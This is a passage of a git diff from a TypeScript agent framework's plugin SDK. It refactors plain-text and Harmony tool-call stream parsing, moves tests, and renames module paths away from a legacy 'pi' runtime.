() => { - it("promotes standalone text tool calls into tool-call stream events", async () => { - const baseStreamFn: StreamFn = () => - createEventStream([ - { type: "text_start", content: "" }, - { type: "text_delta", delta: '[tool:read] {"path":"/tmp/file.txt"}' }, - { type: "text_end" }, - { - type: "done", - reason: "stop", - message: { - role: "assistant", - content: '[tool:read] {"path":"/tmp/file.txt"}', - }, - }, - ]); - const wrapped = createPlainTextToolCallCompatWrapper(baseStreamFn); - const events: unknown[] = []; - - for await (const event of wrapped( - {} as never, - { tools: [{ name: "read" }] } as never, - {}, - ) as AsyncIterable) { - events.push(event); - } - - expect(events.map((event) => (event as { type?: string }).type)).toEqual([ - "toolcall_start", - "toolcall_delta", - "done", - ]); - const done = events.at(-1) as { message?: { content?: unknown; stopReason?: unknown } }; - expect(done.message?.stopReason).toBe("toolUse"); - expect(done.message?.content).toEqual([ - expect.objectContaining({ - type: "toolCall", - name: "read", - arguments: { path: "/tmp/file.txt" }, - }), - ]); - }); - - it("passes through bracketed text when no configured tool names match", async () => { - const baseStreamFn: StreamFn = () => - createEventStream([ - { type: "text_delta", delta: "[note] keep streaming" }, - { - type: "done", - reason: "stop", - message: { - role: "assistant", - content: "[note] keep streaming", - }, - }, - ]); - const wrapped = createPlainTextToolCallCompatWrapper(baseStreamFn); - const events: unknown[] = []; - - for await (const event of wrapped( - {} as never, - { tools: [{ name: "read" }] } as never, - {}, - ) as AsyncIterable) { - events.push(event); - } - - expect(events.map((event) => (event as { type?: string }).type)).toEqual([ - "text_delta", - "done", - ]); - }); - - it("converts standalone plain-text tool calls for result consumers", async () => { - const { source, stream } = createControlledPlainTextToolCallCompatStream(); - const resultPromise = (await resolveStream(stream)).result(); - const rawToolText = '[tool:read] {"path":"src/index.ts"}'; - - source.push({ type: "start", partial: { content: [] } } as never); - source.push({ - type: "text_delta", - contentIndex: 0, - delta: rawToolText, - } as never); - source.push({ - type: "done", - reason: "stop", - message: { - role: "assistant", - content: [{ type: "text", text: rawToolText }], - stopReason: "stop", - }, - } as never); - source.end(); - - const message = requireRecord(await resultPromise, "result message"); - expect(message.stopReason).toBe("toolUse"); - expect(requireRecord((message.content as unknown[])[0], "tool call")).toMatchObject({ - type: "toolCall", - name: "read", - arguments: { path: "src/index.ts" }, - }); - }); - - it("keeps CR-separated bracketed tool calls buffered for conversion", async () => { - const { source, stream } = createControlledPlainTextToolCallCompatStream(); - const iterator = (await resolveStream(stream))[Symbol.asyncIterator](); - - try { - source.push({ type: "start", partial: { content: [] } } as never); - expect((await nextEvent(iterator, "start")).type).toBe("start"); - - source.push({ - type: "text_delta", - contentIndex: 0, - delta: '[read]\r{"path":"src/index.ts"}\r[END_TOOL_REQUEST]', - } as never); - source.push({ - type: "done", - reason: "stop", - message: { - role: "assistant", - content: [{ type: "text", text: '[read]\r{"path":"src/index.ts"}\r[END_TOOL_REQUEST]' }], - stopReason: "stop", - }, - } as never); - - const event = await nextEvent(iterator, "converted CR tool call"); - expect(event.type).toBe("toolcall_start"); - } finally { - source.end(); - await iterator.return?.(); - } - }); - - it("does not buffer normal final prose until done", async () => { - const { source, stream } = createControlledPlainTextToolCallCompatStream(); - const iterator = (await resolveStream(stream))[Symbol.asyncIterator](); - - try { - source.push({ type: "start", partial: { content: [] } } as never); - expect((await nextEvent(iterator, "start")).type).toBe("start"); - - source.push({ - type: "text_delta", - contentIndex: 0, - delta: "final answer starts here", - } as never); - - const event = await nextEvent(iterator, "normal final prose"); - expect(event).toMatchObject({ type: "text_delta", delta: "final answer starts here" }); - } finally { - source.push({ type: "done", reason: "stop", message: {} } as never); - source.end(); - await iterator.return?.(); - } - }); -}); - describe("stripTrailingAnthropicAssistantPrefillWhenThinking", () => { it("removes trailing assistant text turns when Anthropic thinking is enabled", () => { const payload = { diff --git a/src/plugin-sdk/provider-stream-shared.ts b/src/plugin-sdk/provider-stream-shared.ts index 40184df901a..0d4a46ed310 100644 --- a/src/plugin-sdk/provider-stream-shared.ts +++ b/src/plugin-sdk/provider-stream-shared.ts @@ -1,7 +1,8 @@ import { randomUUID } from "node:crypto"; -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { createAssistantMessageEventStream, streamSimple } from "@earendil-works/pi-ai"; -import { streamWithPayloadPatch } from "../agents/pi-embedded-runner/stream-payload-utils.js"; +import type { StreamFn } from "../agents/runtime/index.js"; +import { streamWithPayloadPatch } from "../llm/providers/stream-wrappers/stream-payload-utils.js"; +import { streamSimple } from "../llm/stream.js"; +import { createAssistantMessageEventStream } from "../llm/utils/event-stream.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; import type { ProviderWrapStreamFnContext } from "./plugin-entry.js"; import { parseStandalonePlainTextToolCallBlocks } from "./tool-payload.js"; @@ -40,37 +41,24 @@ function resolveContextToolNames(context: Parameters[1]): Set return new Set(names); } -function couldStillBePlainTextToolCall(text: string, toolNames: Set): boolean { - if (text.length > 256_000) { - return false; - } - const trimmed = text.trimStart(); - return ( - trimmed.length === 0 || - couldStillBeBracketedToolCall(trimmed, toolNames) || - couldStillBeHarmonyToolCall(trimmed, toolNames) - ); -} - function matchesLiteralPrefix(text: string, literal: string): boolean { return literal.startsWith(text) || text.startsWith(literal); } function skipHorizontalWhitespace(text: string, start: number): number { let cursor = start; - while (text[cursor] === " " || text[cursor] === "\t") { + while (cursor < text.length && /[ \t]/.test(text[cursor] ?? "")) { cursor += 1; } return cursor; } -function isToolNameChar(char: string | undefined): boolean { - return Boolean(char && /[A-Za-z0-9_-]/.test(char)); -} - -function hasToolNamePrefix(toolNames: Set, prefix: string): boolean { +function matchesAnyToolNamePrefix(text: string, toolNames: Set): boolean { + if (!text) { + return true; + } for (const toolName of toolNames) { - if (toolName.startsWith(prefix)) { + if (toolName.startsWith(text) || text.startsWith(toolName)) { return true; } } @@ -95,12 +83,13 @@ function couldStillBeBracketedToolCall(text: string, toolNames: Set): bo if (text.length <= toolPrefix.length) { return true; } - let cursor = toolPrefix.length; - while (isToolNameChar(text[cursor])) { + const nameStart = toolPrefix.length; + let cursor = nameStart; + while (cursor < text.length && text[cursor] !== "]") { cursor += 1; } - const name = text.slice(toolPrefix.length, cursor); - if (!name || !hasToolNamePrefix(toolNames, name)) { + const name = text.slice(nameStart, cursor).trim(); + if (!matchesAnyToolNamePrefix(name, toolNames)) { return false; } if (cursor >= text.length) { @@ -113,28 +102,17 @@ function couldStillBeBracketedToolCall(text: string, toolNames: Set): bo } let cursor = 1; - while (isToolNameChar(text[cursor])) { + while (cursor < text.length && text[cursor] !== "\n" && text[cursor] !== "]") { cursor += 1; } - const name = text.slice(1, cursor); - if (!name || !hasToolNamePrefix(toolNames, name)) { + const firstLine = text.slice(1, cursor); + if (!matchesAnyToolNamePrefix(firstLine.trim(), toolNames)) { return false; } if (cursor >= text.length) { return true; } - if (text[cursor] !== "]") { - return false; - } - - cursor = skipHorizontalWhitespace(text, cursor + 1); - if (cursor >= text.length) { - return true; - } - if (text[cursor] === "\r") { - if (cursor + 1 >= text.length) { - return true; - } + if (text[cursor] === "]") { return couldStillBeJsonPayload(text, text[cursor + 1] === "\n" ? cursor + 2 : cursor + 1); } if (text[cursor] !== "\n") { @@ -144,79 +122,63 @@ function couldStillBeBracketedToolCall(text: string, toolNames: Set): bo } function couldStillBeHarmonyToolCall(text: string, toolNames: Set): boolean { - const channelMarker = "<|channel|>"; + const harmonyChannelPrefix = "<|channel|>"; let cursor = 0; - if (matchesLiteralPrefix(text, channelMarker)) { - if (text.length <= channelMarker.length) { + if (matchesLiteralPrefix(text, harmonyChannelPrefix)) { + if (text.length <= harmonyChannelPrefix.length) { return true; } - cursor = channelMarker.length; + cursor = harmonyChannelPrefix.length; } - const rest = text.slice(cursor); - const channel = ["commentary", "analysis", "final"].find((candidate) => - matchesLiteralPrefix(rest, candidate), + const channelRest = text.slice(cursor); + const channelName = ["commentary", "analysis", "final"].find((marker) => + matchesLiteralPrefix(channelRest, marker), ); - if (!channel) { + if (channelName) { + if (channelRest.length <= channelName.length) { + return true; + } + cursor += channelName.length; + } else if (cursor === 0) { + return false; + } else { return false; } - if (rest.length <= channel.length) { - return true; - } - cursor += channel.length; - cursor = skipHorizontalWhitespace(text, cursor); - if (cursor >= text.length) { - return true; - } - - const toMarker = "to="; - const toRest = text.slice(cursor); - if (!matchesLiteralPrefix(toRest, toMarker)) { - return false; - } - if (toRest.length <= toMarker.length) { - return true; - } - - cursor += toMarker.length; - const nameStart = cursor; - while (isToolNameChar(text[cursor])) { - cursor += 1; - } - const name = text.slice(nameStart, cursor); - if (!name || !hasToolNamePrefix(toolNames, name)) { - return false; - } - if (cursor >= text.length) { - return true; + const constraintMarker = " to="; + const constraintRest = text.slice(cursor); + if (matchesLiteralPrefix(constraintRest, constraintMarker)) { + if (constraintRest.length <= constraintMarker.length) { + return true; + } + cursor += constraintMarker.length; + const nameStart = cursor; + while (cursor < text.length && text[cursor] !== " " && text[cursor] !== "\n") { + cursor += 1; + } + const name = text.slice(nameStart, cursor).trim(); + if (!matchesAnyToolNamePrefix(name, toolNames)) { + return false; + } } cursor = skipHorizontalWhitespace(text, cursor); if (cursor >= text.length) { return true; } - if (!toolNames.has(name)) { - return false; - } - const codeMarker = "code"; const codeRest = text.slice(cursor); - if (!matchesLiteralPrefix(codeRest, codeMarker)) { - return false; + if (matchesLiteralPrefix(codeRest, codeMarker)) { + if (codeRest.length <= codeMarker.length) { + return true; + } + cursor += codeMarker.length; + cursor = skipHorizontalWhitespace(text, cursor); + if (cursor >= text.length) { + return true; + } } - if (codeRest.length <= codeMarker.length) { - return true; - } - - cursor += codeMarker.length; - while (cursor < text.length && /\s/.test(text[cursor] ?? "")) { - cursor += 1; - } - if (cursor >= text.length) { - return true; - } - const messageMarker = "<|message|>"; const messageRest = text.slice(cursor); if (matchesLiteralPrefix(messageRest, messageMarker)) { @@ -225,6 +187,18 @@ function couldStillBeHarmonyToolCall(text: string, toolNames: Set): bool return text[cursor] === "{"; } +function couldStillBePlainTextToolCall(text: string, toolNames: Set): boolean { + if (text.length > 256_000) { + return false; + } + const trimmed = text.trimStart(); + return ( + trimmed.length === 0 || + couldStillBeBracketedToolCall(trimmed, toolNames) || + couldStillBeHarmonyToolCall(trimmed, toolNames) + ); +} + function createSyntheticToolCallId(): string { return `call_${randomUUID().replace(/-/g, "").slice(0, 24)}`; } @@ -1063,7 +1037,7 @@ function sanitizeGoogleThinkingConfigContainer(params: { return; } - // pi-ai can emit thinkingBudget=-1 for some Google model IDs; a negative budget + // shared model runtime can emit thinkingBudget=-1 for some Google model IDs; a negative budget // is invalid for Google-compatible backends and can lead to malformed handling. delete thinkingConfigObj.thinkingBudget; if (Object.keys(thinkingConfigObj).length === 0) { @@ -1098,13 +1072,13 @@ export { applyAnthropicPayloadPolicyToParams, resolveAnthropicPayloadPolicy, } from "../agents/anthropic-payload-policy.js"; -export { applyAnthropicEphemeralCacheControlMarkers } from "../agents/pi-embedded-runner/anthropic-cache-control-payload.js"; +export { applyAnthropicEphemeralCacheControlMarkers } from "../llm/providers/stream-wrappers/anthropic-cache-control-payload.js"; export { createMoonshotThinkingWrapper, resolveMoonshotThinkingType, -} from "../agents/pi-embedded-runner/moonshot-thinking-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/moonshot-thinking.js"; export { streamWithPayloadPatch }; export { createToolStreamWrapper, createZaiToolStreamWrapper, -} from "../agents/pi-embedded-runner/zai-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/zai.js"; diff --git a/src/plugin-sdk/provider-stream.test.ts b/src/plugin-sdk/provider-stream.test.ts index 308a6c25f15..9faeb0531ca 100644 --- a/src/plugin-sdk/provider-stream.test.ts +++ b/src/plugin-sdk/provider-stream.test.ts @@ -1,5 +1,6 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import { describe, expect, it } from "vitest"; +import { createAssistantMessageEventStream } from "../llm/utils/event-stream.js"; import { VERSION } from "../version.js"; import { composeProviderStreamWrappers as composeProviderStreamWrappersShared, @@ -342,3 +343,45 @@ describe("buildProviderStreamFamilyHooks", () => { expect(TOOL_STREAM_DEFAULT_ON_HOOKS.wrapStreamFn).toBeTypeOf("function"); }); }); + +describe("createPlainTextToolCallCompatWrapper", () => { + it("streams normal prose that starts with a Harmony channel word", async () => { + let pushSourceEvent: ((event: never) => void) | undefined; + const baseStreamFn: StreamFn = () => { + const stream = createAssistantMessageEventStream(); + pushSourceEvent = (event) => stream.push(event); + return stream; + }; + const wrapped = requireStreamFn(createPlainTextToolCallCompatWrapper(baseStreamFn)); + const output = wrapped( + {} as never, + { tools: [{ name: "read" }] } as never, + {}, + ) as AsyncIterable; + const iterator = output[Symbol.asyncIterator](); + const first = iterator.next(); + + pushSourceEvent?.({ + type: "text_delta", + contentIndex: 0, + delta: "final answer starts here", + partial: { role: "assistant", content: "final answer starts here" }, + } as never); + + const firstResult = await Promise.race([ + first, + new Promise<"timeout">((resolve) => setTimeout(() => resolve("timeout"), 20)), + ]); + expect(firstResult).not.toBe("timeout"); + expect(firstResult).toMatchObject({ + done: false, + value: { type: "text_delta", delta: "final answer starts here" }, + }); + + pushSourceEvent?.({ + type: "done", + message: { role: "assistant", content: "final answer starts here" }, + } as never); + await iterator.next(); + }); +}); diff --git a/src/plugin-sdk/provider-stream.ts b/src/plugin-sdk/provider-stream.ts index 93f679f7004..e79c0a69552 100644 --- a/src/plugin-sdk/provider-stream.ts +++ b/src/plugin-sdk/provider-stream.ts @@ -1,6 +1,6 @@ -import { createGoogleThinkingPayloadWrapper } from "../agents/pi-embedded-runner/google-stream-wrappers.js"; -import { createMinimaxFastModeWrapper } from "../agents/pi-embedded-runner/minimax-stream-wrappers.js"; -import { resolveMoonshotThinkingKeep } from "../agents/pi-embedded-runner/moonshot-thinking-stream-wrappers.js"; +import { createGoogleThinkingPayloadWrapper } from "../llm/providers/stream-wrappers/google.js"; +import { createMinimaxFastModeWrapper } from "../llm/providers/stream-wrappers/minimax.js"; +import { resolveMoonshotThinkingKeep } from "../llm/providers/stream-wrappers/moonshot-thinking.js"; import { createCodexNativeWebSearchWrapper, createOpenAIAttributionHeadersWrapper, @@ -14,12 +14,12 @@ import { resolveOpenAIFastMode, resolveOpenAIServiceTier, resolveOpenAITextVerbosity, -} from "../agents/pi-embedded-runner/openai-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/openai.js"; import { createKilocodeWrapper, createOpenRouterWrapper, isProxyReasoningUnsupported, -} from "../agents/pi-embedded-runner/proxy-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/proxy.js"; import type { ProviderPlugin } from "../plugins/types.js"; import type { ProviderWrapStreamFnContext } from "./plugin-entry.js"; import { @@ -168,18 +168,18 @@ export const TOOL_STREAM_DEFAULT_ON_HOOKS = export { createAnthropicToolPayloadCompatibilityWrapper, createOpenAIAnthropicToolPayloadCompatibilityWrapper, -} from "../agents/pi-embedded-runner/anthropic-family-tool-payload-compat.js"; +} from "../llm/providers/stream-wrappers/anthropic-family-tool-payload-compat.js"; export { createGoogleThinkingPayloadWrapper, sanitizeGoogleThinkingPayload, -} from "../agents/pi-embedded-runner/google-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/google.js"; export { createKilocodeWrapper, createOpenRouterSystemCacheWrapper, createOpenRouterWrapper, isProxyReasoningUnsupported, -} from "../agents/pi-embedded-runner/proxy-stream-wrappers.js"; -export { createMinimaxFastModeWrapper } from "../agents/pi-embedded-runner/minimax-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/proxy.js"; +export { createMinimaxFastModeWrapper } from "../llm/providers/stream-wrappers/minimax.js"; export { createOpenAIAttributionHeadersWrapper, createCodexNativeWebSearchWrapper, @@ -192,8 +192,8 @@ export { resolveOpenAIFastMode, resolveOpenAIServiceTier, resolveOpenAITextVerbosity, -} from "../agents/pi-embedded-runner/openai-stream-wrappers.js"; +} from "../llm/providers/stream-wrappers/openai.js"; export { getOpenRouterModelCapabilities, loadOpenRouterModelCapabilities, -} from "../agents/pi-embedded-runner/openrouter-model-capabilities.js"; +} from "../agents/embedded-agent-runner/openrouter-model-capabilities.js"; diff --git a/src/plugin-sdk/provider-tools.ts b/src/plugin-sdk/provider-tools.ts index c999786759c..c88f23098f1 100644 --- a/src/plugin-sdk/provider-tools.ts +++ b/src/plugin-sdk/provider-tools.ts @@ -3,6 +3,7 @@ import { cleanSchemaForGemini, GEMINI_UNSUPPORTED_SCHEMA_KEYWORDS, } from "../agents/schema/clean-for-gemini.js"; +import { stripUnsupportedSchemaKeywords } from "../shared/schema-keyword-strip.js"; import type { AnyAgentTool, ProviderNormalizeToolSchemasContext, @@ -10,49 +11,7 @@ import type { } from "./plugin-entry.js"; // Shared provider-tool helpers for plugin-owned schema compatibility rewrites. -export { cleanSchemaForGemini, GEMINI_UNSUPPORTED_SCHEMA_KEYWORDS }; - -export function stripUnsupportedSchemaKeywords( - schema: unknown, - unsupportedKeywords: ReadonlySet, -): unknown { - if (!schema || typeof schema !== "object") { - return schema; - } - if (Array.isArray(schema)) { - return schema.map((entry) => stripUnsupportedSchemaKeywords(entry, unsupportedKeywords)); - } - const obj = schema as Record; - const cleaned: Record = {}; - for (const [key, value] of Object.entries(obj)) { - if (unsupportedKeywords.has(key)) { - continue; - } - if (key === "properties" && value && typeof value === "object" && !Array.isArray(value)) { - cleaned[key] = Object.fromEntries( - Object.entries(value as Record).map(([childKey, childValue]) => [ - childKey, - stripUnsupportedSchemaKeywords(childValue, unsupportedKeywords), - ]), - ); - continue; - } - if (key === "items" && value && typeof value === "object") { - cleaned[key] = Array.isArray(value) - ? value.map((entry) => stripUnsupportedSchemaKeywords(entry, unsupportedKeywords)) - : stripUnsupportedSchemaKeywords(value, unsupportedKeywords); - continue; - } - if ((key === "anyOf" || key === "oneOf" || key === "allOf") && Array.isArray(value)) { - cleaned[key] = value.map((entry) => - stripUnsupportedSchemaKeywords(entry, unsupportedKeywords), - ); - continue; - } - cleaned[key] = value; - } - return cleaned; -} +export { cleanSchemaForGemini, GEMINI_UNSUPPORTED_SCHEMA_KEYWORDS, stripUnsupportedSchemaKeywords }; export function findUnsupportedSchemaKeywords( schema: unknown, diff --git a/src/plugin-sdk/provider-usage.ts b/src/plugin-sdk/provider-usage.ts index 9b63a53ea93..33757596965 100644 --- a/src/plugin-sdk/provider-usage.ts +++ b/src/plugin-sdk/provider-usage.ts @@ -13,11 +13,7 @@ export { fetchMinimaxUsage, fetchZaiUsage, } from "../infra/provider-usage.fetch.js"; -export { - clampPercent, - PROVIDER_LABELS, - resolveLegacyPiAgentAccessToken, -} from "../infra/provider-usage.shared.js"; +export { clampPercent, PROVIDER_LABELS } from "../infra/provider-usage.shared.js"; export { buildUsageErrorSnapshot, buildUsageHttpErrorSnapshot, diff --git a/src/plugin-sdk/simple-completion-runtime.ts b/src/plugin-sdk/simple-completion-runtime.ts index d8918aea6c9..ea01a9e3ea2 100644 --- a/src/plugin-sdk/simple-completion-runtime.ts +++ b/src/plugin-sdk/simple-completion-runtime.ts @@ -1,2 +1,2 @@ export * from "../agents/simple-completion-runtime.js"; -export { extractAssistantText } from "../agents/pi-embedded-utils.js"; +export { extractAssistantText } from "../agents/embedded-agent-utils.js"; diff --git a/src/plugin-sdk/test-env.ts b/src/plugin-sdk/test-env.ts index f743c23b668..4610e93484c 100644 --- a/src/plugin-sdk/test-env.ts +++ b/src/plugin-sdk/test-env.ts @@ -19,7 +19,7 @@ export { isOverloadedErrorMessage, isServerErrorMessage, isTimeoutErrorMessage, -} from "../agents/pi-embedded-helpers/failover-matches.js"; +} from "../agents/embedded-agent-helpers/failover-matches.js"; export { maybeLoadShellEnvForGenerationProviders } from "../test-utils/generation-live-test-helpers.js"; export { isTruthyEnvValue } from "../infra/env.js"; export { getShellEnvAppliedKeys } from "../infra/shell-env.js"; diff --git a/src/plugin-sdk/test-helpers/agents/openclaw-owned-tool-runtime-contract.ts b/src/plugin-sdk/test-helpers/agents/openclaw-owned-tool-runtime-contract.ts index 1fd99558b27..06a9caee5da 100644 --- a/src/plugin-sdk/test-helpers/agents/openclaw-owned-tool-runtime-contract.ts +++ b/src/plugin-sdk/test-helpers/agents/openclaw-owned-tool-runtime-contract.ts @@ -1,6 +1,6 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; import { vi } from "vitest"; -import { resetAdjustedParamsByToolCallIdForTests } from "../../../agents/pi-tools.before-tool-call.state.js"; +import { resetAdjustedParamsByToolCallIdForTests } from "../../../agents/agent-tools.before-tool-call.state.js"; +import type { AgentToolResult } from "../../../agents/runtime/index.js"; import type { CodexAppServerExtensionFactory, CodexAppServerToolResultEvent, diff --git a/src/plugin-sdk/test-helpers/agents/outcome-fallback-runtime-contract.ts b/src/plugin-sdk/test-helpers/agents/outcome-fallback-runtime-contract.ts index b9be03c09cc..e958226f381 100644 --- a/src/plugin-sdk/test-helpers/agents/outcome-fallback-runtime-contract.ts +++ b/src/plugin-sdk/test-helpers/agents/outcome-fallback-runtime-contract.ts @@ -1,4 +1,4 @@ -import type { EmbeddedPiRunResult } from "../../../agents/pi-embedded-runner/types.js"; +import type { EmbeddedAgentRunResult } from "../../../agents/embedded-agent-runner/types.js"; export const OUTCOME_FALLBACK_RUNTIME_CONTRACT = { primaryProvider: "openai-codex", @@ -14,8 +14,8 @@ export const OUTCOME_FALLBACK_RUNTIME_CONTRACT = { } as const; export function createContractRunResult( - overrides: Partial = {}, -): EmbeddedPiRunResult { + overrides: Partial = {}, +): EmbeddedAgentRunResult { const { meta, ...rest } = overrides; return { payloads: [], diff --git a/src/plugin-sdk/test-helpers/agents/transcript-repair-runtime-contract.ts b/src/plugin-sdk/test-helpers/agents/transcript-repair-runtime-contract.ts index 65111854b66..6d014032224 100644 --- a/src/plugin-sdk/test-helpers/agents/transcript-repair-runtime-contract.ts +++ b/src/plugin-sdk/test-helpers/agents/transcript-repair-runtime-contract.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../../../agents/runtime/index.js"; export const QUEUED_USER_MESSAGE_MARKER = "[Queued user message that arrived while the previous turn was still active]"; diff --git a/src/plugin-sdk/test-helpers/plugin-runtime-mock.ts b/src/plugin-sdk/test-helpers/plugin-runtime-mock.ts index 8aad3ae383b..80dcc8614fc 100644 --- a/src/plugin-sdk/test-helpers/plugin-runtime-mock.ts +++ b/src/plugin-sdk/test-helpers/plugin-runtime-mock.ts @@ -139,6 +139,10 @@ export function createPluginRuntimeMediaMock( } export function createPluginRuntimeMock(overrides: DeepPartial = {}): PluginRuntime { + const runEmbeddedAgentMock = vi.fn().mockResolvedValue({ + payloads: [], + meta: {}, + }) as unknown as PluginRuntime["agent"]["runEmbeddedAgent"]; const taskFlow = { bindSession: vi.fn( createTaskFlowSessionMock, @@ -401,14 +405,8 @@ export function createPluginRuntimeMock(overrides: DeepPartial = { id: "high", label: "high" }, ], })) as unknown as PluginRuntime["agent"]["resolveThinkingPolicy"], - runEmbeddedPiAgent: vi.fn().mockResolvedValue({ - payloads: [], - meta: {}, - }) as unknown as PluginRuntime["agent"]["runEmbeddedPiAgent"], - runEmbeddedAgent: vi.fn().mockResolvedValue({ - payloads: [], - meta: {}, - }) as unknown as PluginRuntime["agent"]["runEmbeddedAgent"], + runEmbeddedAgent: runEmbeddedAgentMock, + runEmbeddedPiAgent: runEmbeddedAgentMock, resolveAgentTimeoutMs: vi.fn( () => 30_000, ) as unknown as PluginRuntime["agent"]["resolveAgentTimeoutMs"], diff --git a/src/plugin-sdk/test-helpers/provider-runtime-contract.ts b/src/plugin-sdk/test-helpers/provider-runtime-contract.ts index 32a699a55f3..d1cfd705a55 100644 --- a/src/plugin-sdk/test-helpers/provider-runtime-contract.ts +++ b/src/plugin-sdk/test-helpers/provider-runtime-contract.ts @@ -1,6 +1,3 @@ -import fs from "node:fs/promises"; -import os from "node:os"; -import path from "node:path"; import { afterAll, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import type { ProviderRuntimeModel } from "../plugin-entry.js"; import { registerProviderPlugin, requireRegisteredProvider } from "../plugin-test-runtime.js"; @@ -9,34 +6,17 @@ import { createProviderUsageFetch, makeResponse } from "../test-env.js"; const CONTRACT_SETUP_TIMEOUT_MS = 300_000; -const OAUTH_MODULE_ID = "@earendil-works/pi-ai/oauth"; const OPENAI_CODEX_PROVIDER_RUNTIME_MODULE_ID = "../../../extensions/openai/openai-codex-provider.runtime.js"; const refreshOpenAICodexTokenMock = vi.fn(); -const getOAuthProvidersMock = vi.fn(() => [ - { id: "anthropic", envApiKey: "ANTHROPIC_API_KEY", oauthTokenEnv: "ANTHROPIC_OAUTH_TOKEN" }, - { id: "google", envApiKey: "GOOGLE_API_KEY", oauthTokenEnv: "GOOGLE_OAUTH_TOKEN" }, - { id: "openai-codex", envApiKey: "OPENAI_API_KEY", oauthTokenEnv: "OPENAI_OAUTH_TOKEN" }, -]); function installProviderRuntimeContractMocks() { - vi.doMock(OAUTH_MODULE_ID, async () => { - const actual = - await vi.importActual(OAUTH_MODULE_ID); - return { - ...actual, - refreshOpenAICodexToken: refreshOpenAICodexTokenMock, - getOAuthProviders: getOAuthProvidersMock, - }; - }); - vi.doMock(OPENAI_CODEX_PROVIDER_RUNTIME_MODULE_ID, () => ({ refreshOpenAICodexToken: refreshOpenAICodexTokenMock, })); } function removeProviderRuntimeContractMocks() { - vi.doUnmock(OAUTH_MODULE_ID); vi.doUnmock(OPENAI_CODEX_PROVIDER_RUNTIME_MODULE_ID); } @@ -135,7 +115,6 @@ function installRuntimeHooks(fixtures: readonly ProviderRuntimeContractFixture[] beforeEach(() => { refreshOpenAICodexTokenMock.mockReset(); - getOAuthProvidersMock.mockClear(); }, CONTRACT_SETUP_TIMEOUT_MS); return requireProviderContractProvider; @@ -468,7 +447,7 @@ export function describeOpenAIProviderRuntimeContract(load: ProviderRuntimeContr }); }); - it("leaves openai gpt-5.5 forward-compat resolution to Pi", () => { + it("leaves openai gpt-5.5 forward-compat resolution to OpenClaw", () => { const provider = requireProviderContractProvider("openai"); const model = provider.resolveDynamicModel?.({ provider: "openai", @@ -587,7 +566,7 @@ export function describeOpenAIProviderRuntimeContract(load: ProviderRuntimeContr }); }); - it("keeps Pi cost metadata but applies Codex context metadata for gpt-5.5 models", () => { + it("keeps OpenClaw cost metadata but applies Codex context metadata for gpt-5.5 models", () => { const provider = requireProviderContractProvider("openai-codex"); const model = provider.resolveDynamicModel?.({ provider: "openai-codex", @@ -810,33 +789,6 @@ export function describeZAIProviderRuntimeContract(load: ProviderRuntimeContract }); }); - it("falls back to legacy pi auth tokens for usage auth", async () => { - const provider = requireProviderContractProvider("zai"); - const home = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-zai-contract-")); - await fs.mkdir(path.join(home, ".pi", "agent"), { recursive: true }); - await fs.writeFile( - path.join(home, ".pi", "agent", "auth.json"), - `${JSON.stringify({ "z-ai": { access: "legacy-zai-token" } }, null, 2)}\n`, - "utf8", - ); - - try { - await expect( - provider.resolveUsageAuth?.({ - config: {} as never, - env: { HOME: home } as NodeJS.ProcessEnv, - provider: "zai", - resolveApiKeyFromConfigAndStore: () => undefined, - resolveOAuthToken: async () => null, - }), - ).resolves.toEqual({ - token: "legacy-zai-token", - }); - } finally { - await fs.rm(home, { recursive: true, force: true }); - } - }); - it("owns usage snapshot fetching", async () => { const provider = requireProviderContractProvider("zai"); const mockFetch = createProviderUsageFetch(async (url) => { diff --git a/src/plugin-sdk/test-helpers/stream-hooks.ts b/src/plugin-sdk/test-helpers/stream-hooks.ts index 096ad65a704..b3b3154d036 100644 --- a/src/plugin-sdk/test-helpers/stream-hooks.ts +++ b/src/plugin-sdk/test-helpers/stream-hooks.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "../../agents/runtime/index.js"; export function createCapturedThinkingConfigStream() { let capturedPayload: Record | undefined; diff --git a/src/plugin-sdk/testing.ts b/src/plugin-sdk/testing.ts index cabd85a06a7..4b2e71d9e6a 100644 --- a/src/plugin-sdk/testing.ts +++ b/src/plugin-sdk/testing.ts @@ -121,7 +121,7 @@ export { isOverloadedErrorMessage, isServerErrorMessage, isTimeoutErrorMessage, -} from "../agents/pi-embedded-helpers/failover-matches.js"; +} from "../agents/embedded-agent-helpers/failover-matches.js"; export { maybeLoadShellEnvForGenerationProviders } from "../test-utils/generation-live-test-helpers.js"; export { testing, testing as __testing } from "../acp/control-plane/manager.js"; export { testing as acpManagerTesting } from "../acp/control-plane/manager.js"; diff --git a/src/plugin-sdk/tool-plugin.ts b/src/plugin-sdk/tool-plugin.ts index 11901b22e2c..0d51e748926 100644 --- a/src/plugin-sdk/tool-plugin.ts +++ b/src/plugin-sdk/tool-plugin.ts @@ -1,5 +1,5 @@ -import type { AgentToolResult, AgentToolUpdateCallback } from "@earendil-works/pi-agent-core"; import { Type, type Static, type TSchema } from "typebox"; +import type { AgentToolResult, AgentToolUpdateCallback } from "../agents/runtime/index.js"; import { jsonResult, textResult } from "../agents/tools/common.js"; import type { PluginManifestActivation } from "../plugins/manifest.js"; import type { JsonSchemaObject } from "../shared/json-schema.types.js"; @@ -19,7 +19,7 @@ export type ToolPluginExecutionContext = { api: OpenClawPluginApi; signal?: AbortSignal; toolCallId: string; - onUpdate?: AgentToolUpdateCallback; + onUpdate?: AgentToolUpdateCallback; }; type ToolPluginConfig = TConfigSchema extends TSchema diff --git a/src/plugins/activation-context.ts b/src/plugins/activation-context.ts index faf3c12a363..c833531e7ea 100644 --- a/src/plugins/activation-context.ts +++ b/src/plugins/activation-context.ts @@ -1,7 +1,6 @@ import { applyPluginAutoEnable } from 